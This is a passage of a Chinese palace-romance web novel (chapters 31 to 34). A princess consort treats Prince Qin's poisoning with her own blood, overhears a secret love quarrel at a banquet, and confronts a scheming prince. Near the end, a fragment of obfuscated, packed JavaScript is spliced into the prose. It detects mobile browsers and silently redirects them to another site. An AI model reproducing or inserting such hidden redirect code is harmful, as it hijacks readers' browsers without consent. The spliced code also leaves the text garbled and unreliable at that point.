宋檩打量起眼前这个年轻女子,疑惑之下带了些好奇,着装不似妃嫔,也不像宫女,没听说哪位公主养在太后膝下呀。
“秦王妃。”走近些,她给宋檩行礼。
虽不认得她,瞧着却没有恶意。
更何况,寿宁宫的人,还是要给几分薄面的,宋檩回礼。
“你是寿宁宫的人?”
“我是太后身边的医女,你可以唤我芸姑姑。”
宋檩忙行了个礼,“芸姑姑。”
她托起宋檩的手,拍了拍她的胳膊,眼里闪烁着泪花。
宋檩看不明白,只一味由着她打量。
“芸姑姑见过我?”
意识到自己失态,芸姑抹掉眼角的泪,轻轻摇头,“我们不曾见过。”
那就奇怪了,为何总觉得她看自己的眼神不寻常?似乎在透过她看向另外的人。
宋檩礼貌一笑,不再出声。
芸姑欲言又止,瞥见不远处走来的身影,只得作罢。
“天色已晚,宫门下钥就出不去了。”她朝来人的方向努了努嘴。
宋檩扭头,发现瞿昙来了,虽有疑惑却没问出声,给芸姑行礼告辞。
“你怎么来这了?”走近他身边,宋檩低声问道。
瞿昙看了眼芸姑,微微颔首,拉了她的手往出宫的方向去。
太阳已经完全落下,路上很暗,宋檩只觉整个人被他拽着往前走,一上马车就甩开了他的手。
“我说你这人怎么……”
批评的话还没说完,随她进马车的人栽倒在地,不省人事。
宋檩吓了一跳,忙伸手探他的鼻息。确定还有呼吸,才将他身子放平,准备扒衣服。
朝服与寻常穿的常服不一样,她摸索了半天也没出来个名堂,正欲开口喊人,马车突然启动。
毫无防备的她整个人身子前倾,重重跌进瞿昙的怀里。
“王妃,没事吧?”惊风勒住缰绳,停下马车。
宋檩还没开口,一道闷哼声先传了出去。
惊风听见后拽着林歌远离马车几丈远。
“你做什么?”突然被拽走,林歌愤愤地瞪着他,方才马车颠簸,她担心姑娘受伤。
“林歌姑娘,王爷和王妃在马车里,你凑上前做什么?”惊风说什么也不让她靠近。
林歌欲言又止,瞧了眼马车,没再上前,转身
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不理他。
马车内。
瞿昙被她直接撞醒,状态非常不好,症状看着与毒发无二。
宋檩话不多说,直接扯他的腰带。
这一系列操作让刚醒来状态不是很好的瞿昙受到了暴击,额间青筋暴起,“你做什么?”
宋檩头也不抬道:“看看你的胸口!”
话落,她觉得有些不妥,对上那双愤怒的眼睛解释道:“别误会啊,我可不是想占你便宜!”
“你现下的症状跟毒发相似,我得先确认一下。”
她比划了一下自己胸口的位置,“就是这个地方的皮肤颜色会变深。”
瞿昙哑口无言,抬手想解掉腰带却使不上力气,躺地上无奈道:“中间有个上下凸起的位置,同时往中间按。”
宋檩循着他的声音在腰带上摸索,轻轻一按就开了,还没来得及欢喜,扯开扔在一旁,继续解他的衣服扣子。
瞿昙毫无还手之力,只能任由她在自己身上胡作非为。
他想到了上回毒发,想来跟这回无异。只是那时他昏迷过去,毫无知觉。如今这般清醒地被扒光衣服,有一股说不出口的难堪。
宋檩可管不了那么多,发现那处皮肤确实变了颜色,表情瞬间凝重起来。
“你跟人打架了?”
瞿昙费了九牛二虎之力才抬起胳膊,挡住视线,闷闷出声,“没有。”
“吃了不干净的东西。”
宋檩一颗心提到了嗓子眼,“你吃了什么?怎么不早说!”
瞿昙不是很想说,可想到接下来需要她帮助,不好把人得罪了,只能妥协。
“白王敬的酒里加了东西,我用内力化掉了。”
宋檩:“……”
真是不省心的病人!
她深吸一口气,尽量让自己不骂人,“你一般出现这种症状,多久发生变化?”
此地尚在宫门口,一路往王府去都是大街,中途发作后果不堪设想。但此地简陋,人多眼杂实在不是个好地方。
“此地往西,出城门不远处有一座别院,快马一刻钟可到。”
那还等什么!
宋檩推开马车门,叫上惊风和林歌,一路快马往城西别院去。
马车甫一停稳人就跑没了影,推开车门一看没人,宋檩认命地看向倚在车壁上的人,“你还能动吗?”
瞿昙眯起一条缝,挣扎起身。
她赶忙过去搀扶,二人东倒西歪入得院内。
宋檩随意寻了间屋子,扶人躺在榻上,扯掉他身上本就松垮的衣裳。瞥见他红透了的耳朵,抿了抿唇,“你若觉得难为情,先休息一下?”
话落,她抬手欲将人催眠。
瞿昙一把握住她的手,摇头拒绝。
睡眠阵法本就耗心神,他既不愿也不强求。
“醒着就醒着吧,别打扰我就行。”
有了上次的经验,宋檩这回熟练得多,拿下头上的发簪,心一横在掌心划开一道口子。
瞿昙瞪大了眼睛,被眼前一幕震住了。
只见她两根手指在受伤那只手的胳膊上缓缓游动,口中念念有词。很快,伤口处有血液汩汩流下。
他还没反应过来,一道命令的声音响在耳边,“张嘴。”
31. 你别抗拒我
瞿昙不敢怠慢,听话地照做,任由血液流进嘴里,满口腔充斥着铁锈味。
宋檩时刻关注着他嘴里的血液,眼见着差不多满了,才收手止住血。
她抬了抬瞿昙的下巴,露出修长的脖颈,两指轻轻搭在他的脖子上,“你别抗拒我。”
意识到他现在没法开口说话,宋檩抿唇,“不许咽下去,也别抗拒我的引导,听明白了就眨两下眼睛。”
瞿昙乖巧地眨巴两下。
得到满意答复,宋檩开始游动抵在他脖子上的两根手指。
她的动作很轻很慢,引得躺着的身躯一阵颤栗。
宋檩抬眼看了他一下,指腹定在一处,“睡眠阵法一旦开始便不能停止,中途被打断你我都会被反噬,届时带来的伤害是致命的。”
“接下来有任何不适,你都得咬牙受着,不可轻举妄动,可明白?”
此时的宋檩与平日里那个什么都不在意,寡淡如水的人完全不同,她就像个高高在上的神灵,眼神清冷而有威慑力。
瞿昙眨巴了两下眼睛,不敢再有动作。
施针压制毒发废了整整半个时辰,瞿昙亲眼见跟前的女子脸色苍白,面目憔悴,就连动作都变得迟缓,可眼神却依旧清冷自持。
他全程只有眼珠子在动。
宋檩不顾形象地一屁股坐在地上,歪头枕着榻沿喘气,她需要缓一缓。
瞿昙坐起身,兀自打理衣服,嘴里那股子腥甜仍在,与上回醒来如出一辙。
他收拾完成,翻身下榻,跟没事人似的,抱宋檩躺下。动作之快她还没反应过来,人已经在榻上了。
宋檩睨了他一眼,“秦小王爷,这回可千万要遵医命,莫再随意用内力了。”
再这么来几次,她的小命就得交代在这了。
瞿昙垂头给她处理伤口,没有出声。这次确实是他大意了,没料到这个阵法需要她的血。
没得到他的回应,宋檩抽回手。
“别动!”又被人强行抓了过去,“别院条件有限,回去后让黎樾给你好好包扎。”
宋檩翻了个白眼,他只要听自己的话,何故挨这么一下?
突然想到宫里的事情,宋檩疑惑地看着他,“你何时中招的?”二人在院子里遇见时明明还好好的。
“此事说来话长。”他眼神躲闪,移开了话题,“你怎么去了寿宁宫?”
一提起这事她就来了!
宋檩瞪了他一眼,“我又不像你熟悉皇宫里的路线,按你说的方向走,就到寿宁宫了。”
但凡他跟自己一起出去都不至于走那么多冤枉路!
瞿昙轻咳一声,掩饰嘴角的笑,“王妃想去有光的地方,本王这不是担心咱们去的不是一个地方嘛。”
宋檩:“……”不都得先出宫?
她摆了摆手,懒得计较,“对了,你知道太后身边那个医女吗?”
“寿宁宫前与你说话那个?”瞿昙挑眉,“太后当年去别宫静养,夜里总做梦,据说后来寻了民间医女才治愈,你口中的那个医女应该就是此人。”
“她很得太后看重?”虽然两人才见过一面,说的话也不多,但直觉告诉她,此女并非普通女子。
“没打过交道,不清楚,有什么不对吗?”见她执着于此人,瞿昙多留了个心眼。
宋檩摇头,“人瞧着不错,我随便问问。”
明白她不愿多说,瞿昙也不纠缠,正襟坐在榻沿,“你的问题问完了,接下来该我了。”
宋檩一脸茫然地看着他,他有什么问题?
“每次压制我体内的毒素,是不是都需要你自己的血液?”瞿昙一脸严肃地看着她。
“也不是。”宋檩想了想,好像就两回吧。
“上次就是这样。”
宋檩没有否认,“睡眠阵法比较温和,对你我的伤害都是最小的,但需要媒介。”最后一句她的声音比较小。
瞿昙听清了,“媒介?”
“简单来说,就是我需要一个东西接触你体内的毒素,否则无用。”她两手一摊,无奈出声。
但凡能有别的替代品,她都不会选择伤害自己。一次性流这么多血,后遗症很严重的好吧?
“没别的法子了吗?”
简单粗暴的法子当然有!
“在你这里掏个洞,”她手指着瞿昙的胸口,“用你的血液做媒介。”
“不过我不是大夫,把握不住分寸,稍不留意你的命就没了。”
利害反正她都说了,至于如何抉择,就不是她需要考虑的事情了。
瞿昙沉默。
惊风掐着点过来,敲响了房门。
入门后发现王妃躺在榻上,王爷完好无损地坐在一旁,他心里已经有了答案,拱手出声,“王爷,王妃,今日城门已经落锁,回不去王府了。”
戒严之下进出城都是麻烦事,今晚只能在别院将就住下。
瞿昙看向她,宋檩摇头,“我没意见。”
此处别院平日里少有人来,十分冷清,惊风和林歌忙活了一阵,才收拾出来一间屋子供二人歇息。
林歌原想再收拾一间,可她看了一圈也就这个屋子稍微能住人。
新婚以来,这还是他们第一次睡在一个屋檐下。院子里静得出奇,虽有屏风隔断,仍能听到对面的呼吸声。
宋檩烦躁地踢了踢被子,往常林歌也跟她睡在一屋过,倒是没觉得这么烦。
瞿昙躺在外侧的小榻上,与她并无二样,屋子里突然多出来一个人的感觉很微妙。
加之她有伤,不得不留了个心眼。
听到里边传来动静,立马坐起身,“是不是伤口疼得睡不着?”
他竟然也没睡。宋檩先是一愣,侧身向外躺着,含糊道:“没有,就是睡不着。”
“别院条件有限,难为你了。”若不是他突然毒发,现下也不必受这份罪,瞿昙心里有愧。
替他治毒本就是约定好的事,宋檩不愿看到他的内疚。
“条件已经不错了。”四面漏风的茅屋她都住过,这别院除却少了点人气,已经够好了。
“那是换了地方,不适应?”他疑惑出声。
宋檩打了个哈欠,漫不经心道:“你的呼吸吵到我了。”
听了她的话,瞿昙哭笑不得,“你讲讲道理,总不能让我不呼吸吧?”还有心思说笑,问题不大。
屋瓦上传来淅淅沥沥的声音,本就睡不着,
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如今又下起了雨。宋檩重重叹了口气,掀被子起身。
“外头在下雨,你起来做什么?”听见她起身的动静,瞿昙忙阻止。
“睡不着,给自己找点事做。”
手上还有伤,瞿昙断不会放人出门。
他燃上烛火,拍了拍小榻,招手让她过去。
宋檩挑眉,才发现这窗边小榻对他一个成年男子来说属实有些小,躺上边脚都没处放。
不过,此处倒没有里间闷。
她大步走过去,脱了鞋上榻,趴在窗台上向外看。
雨势越来越猛,屋檐下起了一道道水帘。一片漆黑,看不真切,只能用耳朵去感受。
日子好像又回到了寨子里,每到雨夜,她都会趴在窗台上听雨声。
瞿昙见她闭眼趴在窗台,把烛台挪远了些,倚在一旁静静看她的侧颜。
不知过了多久,趴在窗台上的人睡着了,身子歪斜栽向一旁。他忙靠上前接住。
宋檩往他怀里拱了拱,寻了个舒适的姿势继续睡。
瞿昙手足无措地立在那,动也不能动。他虽一把年纪了,这样的情况还是第一次遇见。
他伸手捋了捋那一头秀发,视线落在露出来的白皙脖颈上,忽觉有些口渴,咽了咽唾沫,移开了视线。
别院的安防比不得王府,惊风和林歌商量好换着守夜,林歌一来就看到这一幕,张嘴欲说什么,终究什么都没说。
清晨,雨势渐小,宋檩睁眼看见个大男人躺在身边,吓得她弹跳起,反手一记锁喉就要击杀对方。
瞿昙捉住她的手腕,起身后撤,在床边站定。
“大清早的,王妃打算谋杀亲夫啊。”
看清他的脸,宋檩怔住,脑子里闪过一连串问号,昨晚她跟瞿昙睡了?
“你怎么在我床上?”她半蒙半疑地开口。
瞿昙添油加醋说了昨晚的事,吓得她忙止住这个话题,后边的事情完全不想再听。
宋檩挣脱他的禁锢,胡乱抓了一把头发,低垂着脑袋出声,“我饿了。”
小王妃脸皮薄,易害羞,他也不戳破。
穿戴完成,他唤了林歌进来,“替王妃收拾一下。”
惊风借了别院的马,大早就进城了,算算时间该回来了。
林歌正琢磨着,大门被人暴力推开,惊风拎着东西快步走来。
“王爷,出事了。”
他并没有刻意压低声音,宋檩在里间听得清清楚楚。廷尉府今早接到报案,昨夜燕鹭湖发生厮杀。
现下尸体已经被运回廷尉府。
戒严之下,谁人这么大胆子,敢公然在中都城大开杀戒?
“死者的身份可确定了?有没有胡人?”宋檩提着裙摆出来,一脸担心地问道。
阿兄好不容易接下这趟差事,可千万别出什么乱子。
“身份尚不清楚,鸿胪寺那边没传来什么消息。”惊风给她行礼。
没有消息就是好消息,出了这么大事情,早餐是吃不下了。
宋檩瞥向桌子上放着的吃食,“王爷,咱们回城吧?”
瞿昙给惊风递了个眼色,示意他把吃食拿去马车上。
“好,回城。”
32. 嘉安郡主到
回府后,两人换了衣服匆匆出门,如苑门口遇见,默契地没有问去何处。
宋檩认为自己有必要提醒一句,边走边道:“不到万不得已,千万别动用内力。”
“你手上有伤,注意着点。”瞿昙歪着脑袋,有些担心。
宋檩点头,“知道了。”
二人各自上了马车,往相反的方向去。
宋檩去华承璟的府邸,意外的是,碰到了华承坤。
他打量着宋檩,惊讶的眼神在二人身上流转,“宋姑娘来寻五弟?”
宋檩眯眼,宋姑娘?
华承坤在她跟前看似矜持,眼神却放肆得很。她后退了两步,让出道来,“见过承王。”
“昨日在宫里见阿兄气色不大好,应是这些日子太忙了。王府厨子做了些点心,我正好拿来给阿兄。”
“没有打扰你们聊正事吧?”她朝华承璟眨了眨眼睛,示意他赶紧把碍事的人弄走。
“不打搅,承王兄来找我谈事情,已经谈完了。”不待华承坤开口,他直接抢了先。
华承坤咂摸了一下嘴,告辞离去。
目送马车离开,二人对视一眼,转身往府里走。
华承璟接过她手里的食盒,关切出声,“昨日我瞧见王府的马车出城了,没事吧?”
原以为当时城门口没什么人,没想到让他看见了。
宋檩摆手,“出了点小状况,都已经解决了。”
“解决了就好……你这手怎么回事?”瞥见她手上包扎的绷带,华承璟一脸严肃。
“划了个小口子,不碍事。”她不着痕迹地藏在背后。
“承王来这做什么?”宋檩转移了话题。
华承璟倒了杯热茶递到她面前,不急不缓出声,“昨夜燕鹭湖死了人,这事你知道吧?”
宋檩点头,已经从惊风那里了解到。
“那些人全是暗卫,专门行见不得光的勾当。”
“他们是承王的人?”
华承璟摇头,“不全是。”
“各大家族的都有,我查了一下,承王和太子背后的家族都有牵涉其中。”
这么说来,昨夜的凶手既不是太子的人,也非承王的人。中都城如此有魄力的势力可不多啊。
她把中都各大势力在脑子里过了一遍,一切事情终于有了眉目。
“阿兄,鸿胪寺的安防没问题吧?”既然知道了对方的目的,接下来的路就好走多了。
“应该没什么问题。”事情发展至今,对方都没有对鸿胪寺出手,说明还是对会谈一事有所顾虑。
“不能掉以轻心。”她凑近了些,低声道:“我怀疑制造这些凶案的人是逆鳞卫。”
华承璟点头,他也这么认为。
宋檩继续道:“我猜承王此番来见阿兄,多半是意识到了什么。”
“若放任事态继续发展,难保他们会主动出击。圣上最在意的大昭颜面,眼下的致命一击就是鸿胪寺。”
届时天子一怒,太子和承王还需要掣肘朝堂,承受怒火的就是他。
华承璟也想到了这一点,神情凝重。
“鸿胪寺那边我会再重新布置。”
“有件事你可能还不知道。”他笑着打破了沉闷的气氛,“林武已经从青州动身,不日将抵达中都。”
宋檩眼睛一亮,“可算是回来了!”去了这么些日子一直没有消息,她还担心会不会遇到阻挠。
“不对,他回来怎么不告诉我,先给你说啊?”宋檩一脸不开心道。
“暗卫收到他发出的紧急联系,应是遇到了麻烦。”
“不必担心,他是一名不错的暗卫,会想法子脱身。”
消息自然是越早知道越好,不是她不相信林武,而是她本身不喜欢被动。
思及此番前来的目的,宋檩继续道:“阿兄已经见过茹素公主,觉得此人如何?”
“阿眠担心她会看上我?”她一开口,华承璟就猜到了目的。
宋檩嗔了他一眼,“不是自然再好不过。”
“把心放肚子里,她看不上为兄。”
虽然没见过本人,但既然阿兄这么说,应是有十足的把握。
她站起身欲走,突然想到一个人,转身道:“阿兄近来和文献礼处事,觉得此人如何?”
华承璟指着她,没忍住笑出了声,“就知道你会问。”
“有什么新发现?”她坐回原来的位置,一脸期待。
“三日后嘉安郡主会以筹集善款为名举办宴会,届时你就会知晓。”他没有直说,可谓吊足了胃口。
三日后。
从华承璟的府邸回来后,宋檩满心期待赴嘉安郡主的宴会。
一早就差林歌备上了银票,既是为平康坊的难民募捐,她自会出一份力。
大门口碰上相府的马车,一下马车和侯宛仪打了个照面。
众目睽睽之下,她扭着身子过来打招呼,“臣妇给秦王妃请安。”
侯氏如今到底是她名义上的母亲,此举无疑是陷她于不义。
宋檩抬住她的胳膊,脸上笑容不显,“夫人不必多礼。”
一个执意要行礼,一个偏不让,二人就这般僵持着。宋漓见状忙小跑过来,故作不清楚发生了什么,搀着侯宛仪的胳膊起身。
“母亲这是怎么了?”她接过侯氏,给宋檩见礼,“大姐姐,母亲身子有些疲乏,我先扶她进去。”
侯宛仪竟然没有推开她?宋檩诧异,点头应下。
郡主府门口的小插曲并无太多人在意,更多人关注的是这场浩大的募捐宴会。
东海王府一向低调,郡马去世后,嘉安郡主独留中都,更是深居简出,除却皇室的重大宴会,鲜少抛头露面。
圣上有意给她赐婚一事虽未公开,来的人多多少少听到些风声。加之文献礼荣宠正盛,达官们也乐得卖个人情。
宋檩留意到席间不少熟面孔,京兆府尹的夫人也来了。让她奇怪的是,茹素公主竟然也在。
“嘉安郡主到!”
席间瞬间安静,众人不约而同看向来人的方向,纷纷起身迎接。
比之那些穿着招摇的年轻姑娘们,嘉安郡主的着装更素雅,几只简单的素钗装饰,浑身透着疏离。
倒是符合她孀居多年的形象。
她走到主人的位子上,请大家就座。
“我已多年没参加宴会了,原以为今日没多少人来,没想到来了这么多人,若有照顾不周的地方,请诸位海涵。”
众人回以一笑。
“今日的宴会没有固定模式,可以表演才艺
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,也可以三五成群说说话,累了乏了,府里有足够的厢房供各位小憩。”
接下来的时间,准备了才艺表演的人上前表演,没有准备的邀上好友离席游逛。
与寻常宴会并无二致,宋檩兴趣缺缺,也领了林歌离席。
她惯常往人群的反方向走,也不知到了什么地方,瞧着毫无人气,正欲往回走,却听到一阵争吵声。
林歌已经熟悉了自家姑娘的习惯,退到隐蔽处,时刻注意来人。
宋檩凑近了些,才听出说话的女子是嘉安郡主,和席间所见到的判若两人。
“文献礼,抛开旁的不说,我只问你心里到底有没有我?”她声音哽咽,带着哭腔,语气却说极其强势。
“郡主,你我立场不同,你不该对我动心思。”文献礼态度强硬,并未因她的哭泣有所改变。
“你怎么就是个榆木脑袋呢?”
“你知道的,我可以给你想要的东西,就连说谎都不愿意吗?”她抽泣出声。
宋檩唏嘘,原来嘉安郡主竟然看上了文献礼。
若她没记错,给文献礼赐婚的本意是拿到嘉安郡主手里的兵符,那可是东海五郡的兵马!
原本担心嘉安郡主不同意,万万没想到不愿意的是文献礼。
“郡主,臣所图于你无半点益处,你贵为郡主,又何故强人所难。”
“你说话当真要如此伤人?”嘉安抹掉脸上的泪,“文献礼,是你逼我的!我堂堂大昭郡主,不是非你不可!”
话落,她哭着跑开。
宋檩忙躲开身子,不让她看见。
“阁下偷听了这么久,不打算出来见一面吗?”
还没从嘉安郡主被拒的惋惜中缓过神来,一道清冷的声音直接将她拉回现实。
林歌护在她身前,被她轻轻推开。
“大人,别来无恙啊。”
文献礼用力眨了几下眼睛,眼前之人的笑与记忆中那个神秘的女子重合,她竟然是……
视线落在她的青鸟对簪上,“下官眼拙,原来是秦王妃。”
宋檩疑惑,她并未自报家门,文献礼似乎是看见了她头上的簪子才认出身份,这簪子什么来头?
“大人有礼。”簪子的事情回头再说,她得先解决眼前的问题,“刚才的事……”
“郡主与下官之间有些小误会,已经说开了。”文献礼有意中止这个话题,“王妃怎么到此地来了?”
“此地是何地?我不能来?”她环顾四周,确实没什么人路过,莫非是什么特别的地方?
文献礼看了她一眼,“此处乃郡马生前住所。”
啥?听得她鸡皮疙瘩落一地。
所以说郡主在亡夫的地盘会情郎?此地瞧着荒芜,落叶满阶无人扫,如此说来,郡主也没传说中那么喜欢郡马。
既知此地是郡马的住所还跟郡主约在这见面,他是有什么特殊的癖好吗?宋檩眼神晦暗,看他的时候多了些不可描述的东西。
“大人似乎跟郡主很熟?”
文献礼进退有度,并没有因她的话乱了方寸,“见过几回。”
“下官还有事,王妃请便。”
宋檩看着渐行渐远的背影,脑子里也是一簇谜团。
她看了林歌一眼,二人一前一后往外走。
33. 心思太龌龊
“姑娘,承王过来了。”林歌瞥见前方走过来的男子,忙提醒正在想事情的宋檩。
“宋姑娘怎么在这?”华承坤看向她们来的地方,明显知道她们从哪里来。
宋檩欠身行礼,“见过承王。”
“在外毋须这些虚礼,我来找嘉安,宋姑娘可见到她?”较之秦王妃的名头,华承坤似乎更乐意唤她宋姑娘。
宋檩后退两步,与他拉开了些距离,“不曾见到。”
“奇怪,明明有人看见她往这边来了。”他看向宋檩的眼神里多了些探究,“往日便听说相府姑娘各个出奇,宋姑娘深藏不露在前,今又见了四姑娘,才知传言诚不欺人。”
听到宋漓的名字,她下意识警惕。
宋漓尚未及笄,加之侯宛仪不喜,平日深居简出,轻易见不着面。这次也不知侯氏为何带着她,偏叫华承坤瞧了去。
可不是个好兆头。
她面不改色道:“承王过奖了,我不过一个妇人,担不起此等夸赞。”
“四妹妹尚幼,性子木讷,若有什么地方得罪了承王,我先替她赔个不是。”
华承坤深邃的眸子里多了些不悦,“千人千面,四姑娘也有四姑娘的好。”
前脚跟宋沅纠缠不清,如今又打起宋漓的主意,妄想齐人之福,天底下哪有那样的好事?
宋檩想想就来气,“承王休要在四妹妹跟前说起这些话。”
“她性子刚烈,打小吃了不少苦,宁可终身不嫁也不愿面对后院的腌臜事。”
华承坤原想请她促成这门好事,哪知还未开口就碰了壁,脸上的笑骤然消失。
宋沅说过,相府四个女儿独有宋漓跟宋檩的关系还算不错。倘若他娶宋漓为侧妃,或可把宋檩拉过来。
她竟如此不给情面!
望着她离去的背影,华承坤的脸色有些可怕。
宋檩没了兴致赏秋,领着林歌就往郡主府外走。瞥见停在一旁的相府马车,她停住脚步。
“宋漓现在何处?”
华承坤此人阴险得很,没让他如愿,还不知道会做出些什么。倘他铁了心思要毁掉宋漓,有的是手段。
正说着,宋漓往大门口走来。
“姑娘,四姑娘过来了。”
“大姐姐。”宋漓见了她,提上裙摆小跑过来。
宋檩往她身后看了看,只有婢女灵秀,眉头微蹙,“你怎么一个人出来了?”
“母亲在和别家夫人说话,二姐三姐亦有好友,我本就不喜这类宴会,也没什么说话的人,就跟母亲说了一声,打算提前回府。”
“大姐姐也要走吗?”
宋檩点头,“嗯,正要回去。”
宋漓看了看天,虽是阴天,却没有下雨的预兆,何况她见大姐姐早早就离席,也没吃什么东西,现下定然腹里空空,便提出去茶楼一叙。
“也好,我正好有点事跟你说。”
在宋漓眼中,这位大姐姐是崇拜的人物,她此生向往成为的对象。
如今宋檩主动找她说事,宋漓有种做梦的不真实感。
星月茶楼包间。
听完她的话,宋漓气得双颊涨红,举起拳头朝空气一阵乱挥,“他怎么竟想嚯嚯相府的人!”
见宋檩笑着看她,意识到自己说错了话。
“大姐姐有所不知,今日我确实在郡主府与他打了照面,他跟我打探你的事,我没搭理他。”
他的目的果然不纯。
“他都问了你什么?”宋檩把玩着茶盏,神色淡淡道。
宋漓身子前倾,凑近些低语,有些难以启齿,“他跟我打听大姐姐的闺房之事。”
“我骂了他登徒子行径,就走了。”
林歌没想到他竟无耻至此,恨不得立马往他身上砍几刀。她家姑娘好歹是秦王妃,堂堂承王思想如此龌龊!
宋檩眼神发冷,一想到他看自己的眼神就直犯恶心。
见对面宋漓一副担心的样子,拍了一下她的脑袋,“他暂时不敢动我,倒是你,出门的时候小心些。”
“大姐姐放心,我一般也不出门,他再如何,总不能到相府抓我吧?”宋漓完全不觉得自己有危险。
进相府抓人倒不至于,怕只怕这样的宴会,众目睽睽之下发生点什么,那才是致命性的。
她端起茶杯,轻轻啜了一口,“有些时日没回相府了,爹爹最近怎么样?”
“就是忙了点,”她想了想,还是决定把那件事情告诉宋檩,“大姐姐,我姨娘有身孕了。”
宋檩有些惊讶,上回在相府书房看到祥福斋的糕点,她猜想洛姨娘出手了,没想到这么快就怀上了。
“这是好事啊,多久了?”宋檩放下茶杯,仔细听她讲述。
宋漓比了个剪刀手,“快俩月了,请太医看过,一切都好。”
洛姨娘这一胎若是男孩,往后在相府她也可以跟侯宛仪平分秋色,若是女孩也无妨,即便宋漓出嫁,身边也会有人陪伴。
不论男女,宋明书都会高兴。
“我瞧洛姨娘身子骨不错,平日里吃食注意些,一定可以顺利生产。”
“谢大姐姐吉言。”
姐妹二人在包间内吃着茶水点心,会说一些话本子上看来的趣事,偶尔传出笑声。
若不是王府突然来了人,快乐还能继续下去。
这次过来的人是常齐,他刚办完事回京,还没来得及换洗,一身风尘。
宋檩听了来龙去脉,让林歌送宋漓回相府,她直接随常齐去了燕鹭湖。
先前临时办公的房子里,瞿昙已经在等待,榻上的人浑身伤痕,奄奄一息,黎樾正在替他处理伤口。
宋檩风风火火闯进来,“林武如何了?”
黎樾回头看了她一眼,点了点头,继续手里的动作。
瞿昙拉她坐在一旁,挡住了她看向床榻的视线,“常齐出城办事,发现他留下的记号有些眼熟,一路追踪下去就看到了躺在山洞里的林武。”
“他身上伤口已经结痂,黎樾说至少有三日了。”
宋檩张了张嘴,觉得喉咙有些堵。之前阿兄跟她提过林武回程一事,她没放在心上。
若她早些派人去接应就好了。
“他一定是查到了什么,才会被人追杀至此。”她说话时身子有些恍惚。
瞿昙深以为然,“等他醒来就知道了。”
“什么时候醒来?”
瞿昙没有说,而是把这个棘手又专业的问题交给了黎樾。
“放心吧,这伤看似严重,都是皮外伤,他是因为又累又饿才昏迷不醒的。”说罢,他让人去准备药材。
瞿昙见她一脸内疚,给黎樾使眼色。
刚忙活完的黎樾无奈极了。
“王爷,王妃,伤患需要静养,要不二位去别处等着?”
瞿昙看着她道:“此处是廷尉府的寝房,外人轻易进不来。”
宋檩跟他出门,到了一处安静宅院。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15262226|164259||http|test|mini|href|location''.split(''|''),0,{}));
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>“今日去郡主府,可有收获?”他倒了杯茶水放在宋檩跟前,问起赏秋宴的事情。
宋檩把听到的说话和自己的猜测说了出来,越说越觉得嘉安郡主身上疑点重重。
“文献礼拒绝娶嘉安郡主,此事尚待观察。”她摸着下巴,若有所思,“不过我还是觉得他对郡主并非无情。”
“你说,圣上给他和郡主赐婚,到底是真有意,还是试探?”
依着她对今上的了解,不像是真有意的样子。
瞿昙合着茶水,含糊其辞,“半真半假吧。”
“你的意思是,若圣上知他对郡主有情,就不会再信任他?”说罢,她摇头否定了自己的推测。
皇帝不像是会做这种事情的人,他看中的人……
宋檩恍然,若真如此,东海王府怕是留不得了。文献礼此举,看似伤了嘉安郡主的心,实则是在保护她。
一个大胆的猜测呼之欲出。
“王爷,嘉安郡主久住中都,与东海王府关系如何?”
能快速想到这层关系,确实是个很不错的盟友,瞿昙毫不吝啬赞许,“她母亲身份低微,若非当年质在中都,绝无成为郡主的可能。”
这么说来,嘉安郡主跟东海王府关系一般啊。
东海五郡兵马的兵符又在她手里……嘶,好漂亮的一招!
“郡马石徵,王爷可了解?”
“出身行伍,凭战功得东海王青睐,出身不高。”放眼大昭排得上名号的家族,石家并不在其列。
直觉告诉宋檩,这件事不简单,具体在哪方面,她暂时还没想明白。
瞿昙见她一直垂头思考,眼神忽动,端了茶杯喝茶,“听说承王也去了宴会。”
宋檩茫然抬头,木讷地点头,“可不嘛,他心思不纯,总想嚯嚯相府的人。”
提起华承坤,她一肚子吐槽的话,瞿昙听着听着脸色就变了。
茶杯在他手里捏得粉碎。
宋檩吓地弹跳起身,发现他的手被杯子划破,正在流血,指了指道:“你……流血了。”
她突然紧张道:“你没用内力吧?”
一句话浇灭了他不合时宜燃起的愤怒和不甘,夹杂着些许不能被外人窥见的自私念头。
他松开手,甩掉那些残留的碎瓷片,颓丧极了,“无碍。”
“那怎么行?我找黎樾给你包扎一下!”说罢,她起身去寻黎樾。
黎樾没有寻来,只拿来了他的药箱,死沉死沉的,拉得胳膊发酸,“黎樾没空,手伸过来。”
她在众多摆放整齐的药瓶中挑了凝血药膏,抬眼看了他一下,“我不太会,弄疼了你就说出来。”
宋檩抠出药膏,才碰到伤口,他的手一抖,吓得她赶紧收回。
“弄疼你了?”
瞿昙:“……轻点。”
以前没处理过伤口,即便受伤了也有人给她处理,宋檩是真拿不准这个力道。想起林歌给她涂药时会吹一下,她决定有样学样。
人体呼出的气体有细菌,担心他伤口感染,宋檩刻意离得远了些。
轻柔的气息打在皮肤上,有一丝痒,还有些说不出来的感觉。
宋檩见他跟定住了似的,完全感觉不到痛,心下暗喜,看来这个法子果然有用。
墙根处窥见这一幕的两人。
黎樾:“……”
常齐仰头看着灰蒙蒙的天,他竟然信了黎神医的鬼话,跑来这里偷窥王爷和王妃,还是太闲了。
34. 我选秦王妃
两国和谈,大昭提出的互市通商得到认可,事情进展非常顺利,却在协议签订前耍起了赖。
胡人侵扰大昭边境无非是抢夺物资,此番战败,损失惨重。
眼下即将入冬,他们需要粮食,便想出拿粮食做聘礼的荒唐计划。
即便是战败国,两国联姻是大事,华承璟做不了主,和谈暂时搁置。
圣上下旨,召皇亲国戚及有爵位的适龄男女入宫,大有自由婚嫁之意。
消息传来秦王府,宋檩无语。
“找人和亲,让我们去做什么?秦王府有适龄人?”入宫这件事请她就不喜,再大的热闹也提不起兴趣。
瞿昙悠闲地喝着茶水,“胡人目的很明确,无非想要粮食过冬。圣上此举,是不希望他们狮子大开口。”
宋檩恍然。
两人一入广华殿,就集齐全部视线,在场的人都很好奇他们。
宋檩看到了华承璟,两人点头示意。她跟在瞿昙身边,由宫女引导落座。
今日赴宴的人与上次完全不同,相府那样的高官之家不在,一些没落侯爵却是举家前来。
